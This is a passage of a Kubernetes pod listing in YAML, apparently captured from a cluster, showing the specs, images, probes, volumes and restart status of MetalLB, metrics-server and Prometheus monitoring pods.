    - containerID: containerd://3d39a1996bbf4ebd4b5d3bb7748920ee7e97b6e43e4dd8254d043b7d9a06ca47
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState: {}
      name: cp-frr-files
      ready: true
      resources: {}
      restartCount: 2
      started: false
      state:
        terminated:
          containerID: containerd://3d39a1996bbf4ebd4b5d3bb7748920ee7e97b6e43e4dd8254d043b7d9a06ca47
          exitCode: 0
          finishedAt: "2025-11-29T14:24:37Z"
          reason: Completed
          startedAt: "2025-11-29T14:24:37Z"
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://dd50a5ae601d7d277222c75fd8a3e14f4b4aedb5ef7bb5c1917937b594a0f15d
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-reloader
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://dd50a5ae601d7d277222c75fd8a3e14f4b4aedb5ef7bb5c1917937b594a0f15d
          exitCode: 0
          finishedAt: "2025-11-29T14:24:39Z"
          reason: Completed
          startedAt: "2025-11-29T14:24:39Z"
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://9362ae7f6604c1b01b4a881abfd2b7911fa159a2a9bced46e01a6b15d0ce2092
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-metrics
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://9362ae7f6604c1b01b4a881abfd2b7911fa159a2a9bced46e01a6b15d0ce2092
          exitCode: 0
          finishedAt: "2025-11-29T14:24:42Z"
          reason: Completed
          startedAt: "2025-11-29T14:24:41Z"
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-5zbk5
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: BestEffort
    startTime: "2025-11-25T15:23:35Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 94e146f3e52ca0b130ea797a31b5d440b3ea86e5f8c71702b03f652e15170cd5
      cni.projectcalico.org/podIP: 192.168.133.167/32
      cni.projectcalico.org/podIPs: 192.168.133.167/32
    creationTimestamp: "2025-11-25T15:21:42Z"
    generateName: metrics-server-5dd7b49d79-
    generation: 1
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/name: metrics-server
      pod-template-hash: 5dd7b49d79
    name: metrics-server-5dd7b49d79-fk9d8
    namespace: metrics-server
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: metrics-server-5dd7b49d79
      uid: 88420c6e-f945-42d5-82b9-c7129cb85312
    resourceVersion: "18008208"
    uid: 97a4b6cc-d156-48fe-9670-236128b9ca44
  spec:
    containers:
    - args:
      - --secure-port=10250
      - --cert-dir=/tmp
      - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
      - --kubelet-use-node-status-port
      - --metric-resolution=15s
      - --kubelet-insecure-tls
      image: registry.k8s.io/metrics-server/metrics-server:v0.8.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /livez
          port: https
          scheme: HTTPS
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: metrics-server
      ports:
      - containerPort: 10250
        name: https
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /readyz
          port: https
          scheme: HTTPS
        initialDelaySeconds: 20
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources:
        requests:
          cpu: 100m
          memory: 200Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        runAsUser: 1000
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lrbts
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: metrics-server
    serviceAccountName: metrics-server
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp
    - name: kube-api-access-lrbts
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:13Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:42Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:17Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:17Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:42Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 200Mi
      containerID: containerd://98e8a3fb463ecae03c41c588c76044710a2390003bc3cce24842dc16e9e54c1a
      image: registry.k8s.io/metrics-server/metrics-server:v0.8.0
      imageID: registry.k8s.io/metrics-server/metrics-server@sha256:89258156d0e9af60403eafd44da9676fd66f600c7934d468ccc17e42b199aee2
      lastState:
        terminated:
          containerID: containerd://f394631c42ba36e9d4384a4d3ab108c1645e36924017da61361fbdf6527a152c
          exitCode: 2
          finishedAt: "2025-11-29T11:13:45Z"
          reason: Error
          startedAt: "2025-11-29T11:13:13Z"
      name: metrics-server
      ready: true
      resources:
        requests:
          cpu: 100m
          memory: 200Mi
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:45Z"
      volumeMounts:
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lrbts
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.167
    podIPs:
    - ip: 192.168.133.167
    qosClass: Burstable
    startTime: "2025-11-25T15:21:42Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/config: 1cc58c99053e53d9a10bc8b269ebf8d439a4980f9265c13f3af1d90deeb7bd8d
      cni.projectcalico.org/containerID: 26ed246f160c2a013404c17fca7f112458e798de26456284e9adc888c7b947e2
      cni.projectcalico.org/podIP: 192.168.61.222/32
      cni.projectcalico.org/podIPs: 192.168.61.222/32
    creationTimestamp: "2025-10-19T01:00:22Z"
    generateName: prometheus-community-alertmanager-
    generation: 1
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: prometheus-community-alertmanager-7d556454c6
      statefulset.kubernetes.io/pod-name: prometheus-community-alertmanager-0
    name: prometheus-community-alertmanager-0
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: prometheus-community-alertmanager
      uid: 65e8fbab-201c-481d-86a2-756c8aa1a2dd
    resourceVersion: "18034151"
    uid: 8f5ad9ce-3fe8-4153-a3eb-ae4327474854
  spec:
    automountServiceAccountToken: true
    containers:
    - args:
      - --storage.path=/alertmanager
      - --config.file=/etc/alertmanager/alertmanager.yml
      env:
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      image: quay.io/prometheus/alertmanager:v0.28.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: http
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: alertmanager
      ports:
      - containerPort: 9093
        name: http
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: http
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        runAsGroup: 65534
        runAsNonRoot: true
        runAsUser: 65534
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/alertmanager
        name: config
      - mountPath: /alertmanager
        name: storage
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7cxwp
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: prometheus-community-alertmanager-0
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-alertmanager
    serviceAccountName: prometheus-community-alertmanager
    subdomain: prometheus-community-alertmanager-headless
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: storage
      persistentVolumeClaim:
        claimName: storage-prometheus-community-alertmanager-0
    - configMap:
        defaultMode: 420
        name: prometheus-community-alertmanager
      name: config
    - name: kube-api-access-7cxwp
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:00Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T01:00:22Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:05Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:05Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T01:00:22Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://ce222fc6a1d1170e1f707a8c476f5cda6fa7c38af8f96047adc419e1ac41788a
      image: quay.io/prometheus/alertmanager:v0.28.1
      imageID: quay.io/prometheus/alertmanager@sha256:27c475db5fb156cab31d5c18a4251ac7ed567746a2483ff264516437a39b15ba
      lastState:
        terminated:
          containerID: containerd://f2a90de5d08d975eb32651daca8b4a7a322dd0f8a603e6545f43a9bfc0af29f2
          exitCode: 2
          finishedAt: "2025-11-29T13:24:29Z"
          reason: Error
          startedAt: "2025-11-29T13:23:58Z"
      name: alertmanager
      ready: true
      resources: {}
      restartCount: 10
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:50Z"
      volumeMounts:
      - mountPath: /etc/alertmanager
        name: config
      - mountPath: /alertmanager
        name: storage
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7cxwp
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.222
    podIPs:
    - ip: 192.168.61.222
    qosClass: BestEffort
    startTime: "2025-10-19T01:00:22Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 0ed68be2470c4c07913de97014cf75b04d4df6c1a75b280f7c9d776d617a0d92
      cni.projectcalico.org/podIP: 192.168.61.218/32
      cni.projectcalico.org/podIPs: 192.168.61.218/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: prometheus-community-kube-state-metrics-7867455795-
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
      pod-template-hash: "7867455795"
    name: prometheus-community-kube-state-metrics-7867455795-mk5k4
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: prometheus-community-kube-state-metrics-7867455795
      uid: c44dec1a-6ec7-4dbd-b2f0-aae0682f0df8
    resourceVersion: "18034205"
    uid: f7a9e0e2-568f-44ff-8eea-755e53c77c20
  spec:
    automountServiceAccountToken: true
    containers:
    - args:
      - --port=8080
      - --resources=certificatesigningrequests,configmaps,cronjobs,daemonsets,deployments,endpoints,horizontalpodautoscalers,ingresses,jobs,leases,limitranges,mutatingwebhookconfigurations,namespaces,networkpolicies,nodes,persistentvolumeclaims,persistentvolumes,poddisruptionbudgets,pods,replicasets,replicationcontrollers,resourcequotas,secrets,services,statefulsets,storageclasses,validatingwebhookconfigurations,volumeattachments
      image: registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /livez
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: kube-state-metrics
      ports:
      - containerPort: 8080
        name: http
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /readyz
          port: 8081
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vvfn6
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: prometheus-community-kube-state-metrics
    serviceAccountName: prometheus-community-kube-state-metrics
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-vvfn6
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:56Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:10Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:10Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://284636d65e40753bc07ceab59dddd89906efbb23fa28591a06198eb1707e53cc
      image: registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
      imageID: registry.k8s.io/kube-state-metrics/kube-state-metrics@sha256:2bbc915567334b13632bf62c0a97084aff72a36e13c4dabd5f2f11c898c5bacd
      lastState:
        terminated:
          containerID: containerd://7a57015b9d28fd48ac5ec03a538b893c49d71611b0057d10a76dafe9bf0ef43b
          exitCode: 2
          finishedAt: "2025-11-29T13:24:29Z"
          reason: Error
          startedAt: "2025-11-29T13:23:55Z"
      name: kube-state-metrics
      ready: true
      resources: {}
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:58Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vvfn6
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.218
    podIPs:
    - ip: 192.168.61.218
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
    creationTimestamp: "2025-11-25T15:23:33Z"
    generateName: prometheus-community-prometheus-node-exporter-
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-2w626
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: prometheus-community-prometheus-node-exporter
      uid: 1eefa6c3-e5d0-497f-9e12-0ca5f33af22c
    resourceVersion: "18045940"
    uid: 6a4283fd-86be-4b7f-a65b-15aa5eaa6639
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    automountServiceAccountToken: false
    containers:
    - args:
      - --path.procfs=/host/proc
      - --path.sysfs=/host/sys
      - --path.rootfs=/host/root
      - --path.udev.data=/host/root/run/udev/data
      - --web.listen-address=[$(HOST_IP)]:9100
      env:
      - name: HOST_IP
        value: 0.0.0.0
      image: quay.io/prometheus/node-exporter:v1.9.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: node-exporter
      ports:
      - containerPort: 9100
        hostPort: 9100
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
      - mountPath: /host/sys
        name: sys
        readOnly: true
      - mountPath: /host/root
        mountPropagation: HostToContainer
        name: root
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    hostPID: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-prometheus-node-exporter
    serviceAccountName: prometheus-community-prometheus-node-exporter
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /proc
        type: ""
      name: proc
    - hostPath:
        path: /sys
        type: ""
      name: sys
    - hostPath:
        path: /
        type: ""
      name: root
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:37Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:33Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:33Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://e7c3987a298cf8eb02e0dbf655b46b1d589be109857229dd2083218e4a0450fe
      image: quay.io/prometheus/node-exporter:v1.9.1
      imageID: quay.io/prometheus/node-exporter@sha256:d00a542e409ee618a4edc67da14dd48c5da66726bbd5537ab2af9c1dfc442c8a
      lastState:
        terminated:
          containerID: containerd://7d12871677f235a47cdd333086eb0fbd01bd36dd3e826f318da2bda1c695047d
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:14Z"
      name: node-exporter
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:36Z"
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/sys
        name: sys
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/root
        name: root
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: BestEffort
    startTime: "2025-11-25T15:23:33Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
    creationTimestamp: "2025-11-25T15:23:31Z"
    generateName: prometheus-community-prometheus-node-exporter-
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-jrzbq
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: prometheus-community-prometheus-node-exporter
      uid: 1eefa6c3-e5d0-497f-9e12-0ca5f33af22c
    resourceVersion: "18007505"
    uid: e3898f8b-fa9c-4e77-880b-0a6c5cf2a592
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    automountServiceAccountToken: false
    containers:
    - args:
      - --path.procfs=/host/proc
      - --path.sysfs=/host/sys
      - --path.rootfs=/host/root
      - --path.udev.data=/host/root/run/udev/data
      - --web.listen-address=[$(HOST_IP)]:9100
      env:
      - name: HOST_IP
        value: 0.0.0.0
      image: quay.io/prometheus/node-exporter:v1.9.1
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: node-exporter
      ports:
      - containerPort: 9100
        hostPort: 9100
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: metrics
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
      - mountPath: /host/sys
        name: sys
        readOnly: true
      - mountPath: /host/root
        mountPropagation: HostToContainer
        name: root
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    hostPID: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: prometheus-community-prometheus-node-exporter
    serviceAccountName: prometheus-community-prometheus-node-exporter
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /proc
        type: ""
      name: proc
    - hostPath:
        path: /sys
        type: ""
      name: sys
    - hostPath:
        path: /
        type: ""
      name: root
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:31Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:05Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:05Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:31Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://733d1cf57bff024b140a64b1b42d26e55ab30a461825f8ec9b5dee45edb23428
      image: quay.io/prometheus/node-exporter:v1.9.1
      imageID: quay.io/prometheus/node-exporter@sha256:d00a542e409ee618a4edc67da14dd48c5da66726bbd5537ab2af9c1dfc442c8a
      lastState:
        terminated:
          containerID: containerd://bfa06d19a09ee4ff2aa28c41977fb194879855485073d4d2a55f6f902aabe6e8
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:19Z"
      name: node-exporter
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:01Z"
      volumeMounts:
      - mountPath: /host/proc
        name: proc
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/sys
        name: sys
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /host/root
        name: root
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: BestEffort
    startTime: "2025-11-25T15:23:31Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
    creationTimestamp: "2025-10-09T21:35:40Z"
    generateName: prometheus-community-prometheus-node-exporter-
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-nkzcl
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: prometheus-community-prometheus-node-exporter
      uid: 1eefa6c3-e5d0-497f-9e12-0ca5f33af22c
    resourceVersion: "18033261"
